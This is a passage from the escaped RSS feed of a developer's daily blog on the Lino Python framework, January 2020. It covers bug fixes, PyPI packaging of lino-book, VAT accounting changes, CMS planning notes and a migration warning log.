  &lt;span class="s1"&gt;&amp;#39;mk&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;263&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;mt&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;42&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
  &lt;span class="s1"&gt;&amp;#39;query&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;brec&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;an&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;do_fill&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
  &lt;span class="s1"&gt;&amp;#39;sr&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;921&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]}&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The problem was a bug in the &lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/requests.html#module-lino.core.requests" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.requests&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;:  The
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;set_selected_pks()&lt;/span&gt;&lt;/code&gt; method (which calls &lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/actors.html#lino.core.actors.Actor.get_row_by_pk" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;get_row_by_pk&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;) is called when the
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;master_instance&lt;/span&gt;&lt;/code&gt; has been set.&lt;/p&gt;
&lt;p&gt;Another bug was that &lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/actions.html#lino.core.actions.DeleteSelected" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.actions.DeleteSelected&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; did not set
&lt;cite&gt;refresh_all&lt;/cite&gt; to True.  That’s a bit strange, it even explicitly said True.  I
can’t imagine why we were saying this.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0118.html</guid><pubDate>Sat, 18 Jan 2020 00:00:00 +0000</pubDate></item><item><title>Friday, January 17, 2020</title><link>https://luc.lino-framework.org/blog/2020/0117.html</link><description>&lt;section id="friday-january-17-2020"&gt;
&lt;h1&gt;Friday, January 17, 2020&lt;a class="headerlink" href="#friday-january-17-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="make-lino-book-installable-via-pip"&gt;
&lt;h2&gt;Make lino-book installable via pip&lt;a class="headerlink" href="#make-lino-book-installable-via-pip" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a class="reference external" href="https://travis-ci.org/lino-framework/presto/builds/638048589"&gt;This failure&lt;/a&gt;
has been there for a while already, seems that I must take it:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;ERROR&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Packages&lt;/span&gt; &lt;span class="n"&gt;installed&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;PyPI&lt;/span&gt; &lt;span class="n"&gt;cannot&lt;/span&gt; &lt;span class="n"&gt;depend&lt;/span&gt; &lt;span class="n"&gt;on&lt;/span&gt; &lt;span class="n"&gt;packages&lt;/span&gt; &lt;span class="n"&gt;which&lt;/span&gt; &lt;span class="n"&gt;are&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;also&lt;/span&gt; &lt;span class="n"&gt;hosted&lt;/span&gt; &lt;span class="n"&gt;on&lt;/span&gt; &lt;span class="n"&gt;PyPI&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;book&lt;/span&gt; &lt;span class="n"&gt;depends&lt;/span&gt; &lt;span class="n"&gt;on&lt;/span&gt; &lt;span class="n"&gt;django&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;mailbox&lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt; &lt;span class="n"&gt;git&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;https&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;github&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;cylonoven&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;django&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;mailbox&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Yes, Presto’s travis file installs the book using pip.  No normal guy wants that
because the purpose of the book is to explain and test.&lt;/p&gt;
&lt;p&gt;But the presto docs are a first case of something that seems normal:
a package not covered by the book, and whose docs
do intersphinx links to the book.
The lino_presto package itself
doesn’t require lino_book to be installed.
But Sphinx gets the URL of the book by importing it
and asking for its &lt;span class="target" id="index-0"&gt;&lt;/span&gt;&lt;code class="xref std std-envvar docutils literal notranslate"&gt;&lt;span class="pre"&gt;intersphinx_url&lt;/span&gt;&lt;/code&gt;.
We what to have that URL in a central place.
I don’t see any better way.&lt;/p&gt;
&lt;p&gt;So I moved the django-mailbox dependency from the book’s &lt;a class="reference external" href="https://dev.lino-framework.org/dev/setup.html#xfile-setup_info.py" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;setup_info.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;
to &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;requirements-include.txt&lt;/span&gt;&lt;/code&gt;.  Also had to release a new PyPI version of
the book, of course.&lt;/p&gt;
&lt;p&gt;Note that the current approach doesn’t check whether we have a local clone of
Tonis’ django-mailbox, and that this git repo isn’t managed by &lt;cite&gt;getlino
configure –clone&lt;/cite&gt;.  I am not sure whether this is a problem.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0117.html</guid><pubDate>Fri, 17 Jan 2020 00:00:00 +0000</pubDate></item><item><title>Thursday, January 16, 2020</title><link>https://luc.lino-framework.org/blog/2020/0116.html</link><description>&lt;section id="thursday-january-16-2020"&gt;
&lt;h1&gt;Thursday, January 16, 2020&lt;a class="headerlink" href="#thursday-january-16-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I reviewed the verbose names of &lt;a class="reference external" href="https://dev.lino-framework.org/specs/uploads.html#lino.modlib.uploads.Upload" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.uploads.Upload&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; .  Actually
just because of the Estonian translation of these terms.  We now call them
&lt;a class="reference external" href="https://using.lino-framework.org/plugins/uploads.html#term-upload-file" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;upload file&lt;/span&gt;&lt;/a&gt; instead of just “upload”.  That caused a little mess in many
places of the test suite.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0116.html</guid><pubDate>Thu, 16 Jan 2020 00:00:00 +0000</pubDate></item><item><title>Wednesday, January 15, 2020</title><link>https://luc.lino-framework.org/blog/2020/0115.html</link><description>&lt;section id="wednesday-january-15-2020"&gt;
&lt;h1&gt;Wednesday, January 15, 2020&lt;a class="headerlink" href="#wednesday-january-15-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I published a series of miscellaneous changes for different tickets in lino, xl, book :&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;atelier year blog index no longer shows a calendar when there are less than 10 blog entries&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;more changes in publisher (not yet finished but tests pass)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Estonian translations&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;remove py2 code&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;section id="the-publisher-and-cms-functionality"&gt;
&lt;h2&gt;The Publisher and CMS functionality&lt;a class="headerlink" href="#the-publisher-and-cms-functionality" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Should we start to use Lino for CMS? It seems that Tonis’ sceptical reaction on
Monday was right.  The publisher plugin becomes less urgent.&lt;/p&gt;
&lt;p&gt;I realized yesterday that even grassroot movements &lt;em&gt;do not&lt;/em&gt; want a solution that
integrates “outer” and “inner” functionality.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;“outer” functionality (“front office”) means CMS, blogs, news,… : everything
about your organization’s “public image”&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;“inner” functionality (“back office”) is e.g. contacts, calendar, groups :
everything about your actual functioning.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Outer and inner should never be in a same database. First of all for security
reasons. But also because these are different parts of an organisation.
Even if some workers work in both sides, they neither need nor want an
“automatic” link between both sides. Of course there is communication between
both sides.&lt;/p&gt;
&lt;p&gt;For example in a webshop application there is quite outer and inner part is quite
connected.  When a new user registered in&lt;/p&gt;
&lt;p&gt;For example a calendar&lt;/p&gt;
&lt;p&gt;Note that some plugins (e.g. comments and notifications) make sense for both
type of applications.&lt;/p&gt;
&lt;p&gt;Until now Lino has experience only with “back office” applications.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Publish calendar entries and blog entries to Facebook&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Notify participants of a published calendar entry about changes in the
announcement (date, time, place, …)&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The Gaudete project is not yet ready for an inner application.
They actually just need a website (and a webmaster and a hosting provider).&lt;/p&gt;
&lt;p&gt;It is probably utopical to believe that Lino will replace Wordpress soon.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Luc will finish his started work on plugins, then focus on Cosi&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Tonis and Hamza focus on Noi. The goal for March is to make Lino Noi “convincing”.
Probably the first thing is to get our team to use Jane for chatting and commenting.
Desktop notifications and websockets is almost ready.
One issue in the database schema is to &lt;a class="reference internal" href="#add-reactions-to-comments"&gt;Add reactions to comments&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="add-reactions-to-comments"&gt;
&lt;h2&gt;Add reactions to comments&lt;a class="headerlink" href="#add-reactions-to-comments" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The important difference between comments and notifications: a notification is
temporary text to to be deleted when the recipient has seen it. A comment is a
text written by one user about a topic, and we want to keep this text forever in
the database.&lt;/p&gt;
&lt;p&gt;Notifications are either desktop notifications or email notifications.
Notifications a exist in the database because when you submit a comment, you
don’t want to wait until an email has been sent to all observers.&lt;/p&gt;
&lt;p&gt;We need a new model comments.Reaction(), which represents the reaction of a user
to a given comment.&lt;/p&gt;
&lt;p&gt;The “My tickets needing feedback”
“My tickets waiting for feedback”
tables will become useless.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0115.html</guid><pubDate>Wed, 15 Jan 2020 00:00:00 +0000</pubDate></item><item><title>Monday, January 13, 2020</title><link>https://luc.lino-framework.org/blog/2020/0113.html</link><description>&lt;section id="monday-january-13-2020"&gt;
&lt;h1&gt;Monday, January 13, 2020&lt;a class="headerlink" href="#monday-january-13-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;There are thousands of free CMS (content management systems).&lt;/p&gt;
&lt;p&gt;There are also thousands of free solutions for other management tasks like
contacts, group calendar, events and project management.&lt;/p&gt;
&lt;p&gt;Some of these systems are free only as free beer, not as free speech.&lt;/p&gt;
&lt;p&gt;Grassroot groups need a combination of these functionalities.&lt;/p&gt;
&lt;p&gt;The idea of Lino Erba is to provide a solution for grassroot projects that is
professional, cheap and scalable.  It a grassroot group becomes bigger, they can
continue with Lino.&lt;/p&gt;
&lt;p&gt;Lino Erba features:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;A list of job descriptions (wanted volunteer people). How to help.
Responsibilities, Long-term tasks.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;A calendar of coming events&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Also a classic CMS with custom pages and publication workflow.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Publication workflow : one worker prepares a draft of a page, then some others are invited to comment or make changes before the page goes public.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Comments and discussion groups&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Newsletters&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Like a CMS, but the “manage” link gives access to a full Lino application. Not
just pages and menu structures but&lt;/p&gt;
&lt;p&gt;Similar to Wagtail.&lt;/p&gt;
&lt;p&gt;They will want to have their customized specific “website layout”.
Their individual look and feel.&lt;/p&gt;
&lt;p&gt;But all those Wikipedia&lt;/p&gt;
&lt;p&gt;Imagine Lino Erba as a Wikipedia for grassroot groups.&lt;/p&gt;
&lt;p&gt;It is sim&lt;/p&gt;
&lt;p&gt;Something like kovtp.ee&lt;/p&gt;
&lt;p&gt;Q : Isn’t it rather that graasroot movements, unlike municipalities, would not agree with a CMS that
limits their creativity. They want at least some wordpress site.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0113.html</guid><pubDate>Mon, 13 Jan 2020 00:00:00 +0000</pubDate></item><item><title>Friday, January 10, 2020</title><link>https://luc.lino-framework.org/blog/2020/0110.html</link><description>&lt;section id="friday-january-10-2020"&gt;
&lt;h1&gt;Friday, January 10, 2020&lt;a class="headerlink" href="#friday-january-10-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I found and fixed another bug in &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/vat.html#module-lino_xl.lib.vat" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.vat&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;:  Now that we inverted
the booking direction of &lt;a class="reference external" href="https://using.lino-framework.org/plugins/vat.html#term-returnable-VAT" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;returnable VAT&lt;/span&gt;&lt;/a&gt;, it’s the vat_account of a VAT
rule (not the returnable_vat_account) that must be optional. And as a
consequence we do not need the separate returnable_vat boolean any more.&lt;/p&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/accounting.html#lino_xl.lib.accounting.PeriodRange.get_period_filter" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.accounting.PeriodRange.get_period_filter()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; now automatically
adds a filter to ignore preliminary movements when a starting period is given.
Note that this required a change to the method’s signature.&lt;/p&gt;
&lt;p&gt;There were two bugs in &lt;a class="reference external" href="https://dev.lino-framework.org/projects/chatter.html#module-lino_book.projects.chatter" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_book.projects.chatter&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; : &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3460"&gt;#3460&lt;/a&gt; and
&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3462"&gt;#3462&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I opened and did &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3459"&gt;#3459&lt;/a&gt; (Move calendar view from “cal” to a separate
plugin &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.calview.html#module-lino_xl.lib.calview" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.calview&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;One consequence for data migration: DailyPlannerRow has moved from cal to calview&lt;/p&gt;
&lt;p&gt;En passant I removed Python 2 code whenever I saw it.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0110.html</guid><pubDate>Fri, 10 Jan 2020 00:00:00 +0000</pubDate></item><item><title>Thursday, January 9, 2020</title><link>https://luc.lino-framework.org/blog/2020/0109.html</link><description>&lt;section id="thursday-january-9-2020"&gt;
&lt;h1&gt;Thursday, January 9, 2020&lt;a class="headerlink" href="#thursday-january-9-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I released XL to PyPI in order to advance with &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/2810"&gt;#2810&lt;/a&gt; (Migrate Rumma &amp;amp;
Ko accounting to Cosi).&lt;/p&gt;
&lt;p&gt;I manually reviewed and changed the following cases  in Jane that caused problems during the last migration
because of &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/2049"&gt;#2049&lt;/a&gt; (Users don’t need to be partners in Noi):&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="mi"&gt;202001&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;04&lt;/span&gt; &lt;span class="mi"&gt;14&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;49&lt;/span&gt; &lt;span class="n"&gt;WARNING&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;dpy&lt;/span&gt; &lt;span class="mi"&gt;21382&lt;/span&gt; &lt;span class="mi"&gt;140330224551744&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Abandoning&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="mi"&gt;34&lt;/span&gt; &lt;span class="n"&gt;unsaved&lt;/span&gt; &lt;span class="n"&gt;instances&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;tickets&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Ticket&lt;/span&gt; &lt;span class="n"&gt;Person&lt;/span&gt; &lt;span class="n"&gt;matching&lt;/span&gt; &lt;span class="n"&gt;query&lt;/span&gt; &lt;span class="n"&gt;does&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;exist&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt; &lt;span class="nb"&gt;object&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;primary&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="mi"&gt;1741&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1789&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2786&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;tickets&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Ticket&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;end_user&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Person instance with partner_ptr 302 does not exist.&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]}&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt; &lt;span class="nb"&gt;object&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;primary&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="mi"&gt;2029&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2030&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2031&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2032&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2139&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2197&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;tickets&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Ticket&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;end_user&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Person instance with partner_ptr 214 does not exist.&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]}&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="nb"&gt;object&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;primary&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="mi"&gt;2246&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;tickets&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Ticket&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;end_user&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Person instance with partner_ptr 223 does not exist.&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]}&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="nb"&gt;object&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;primary&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="mi"&gt;2659&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2691&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;tickets&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Ticket&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;end_user&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Person instance with partner_ptr 331 does not exist.&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]}&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="nb"&gt;object&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;primary&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="mi"&gt;2891&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;github&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Commit&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;ticket&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Ticket instance with id 2197 does not exist.&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]}&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="nb"&gt;object&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;primary&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="mi"&gt;2576&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;github&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Commit&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;ticket&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Ticket instance with id 2691 does not exist.&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]}&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="nb"&gt;object&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;primary&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="mi"&gt;5633&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5635&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
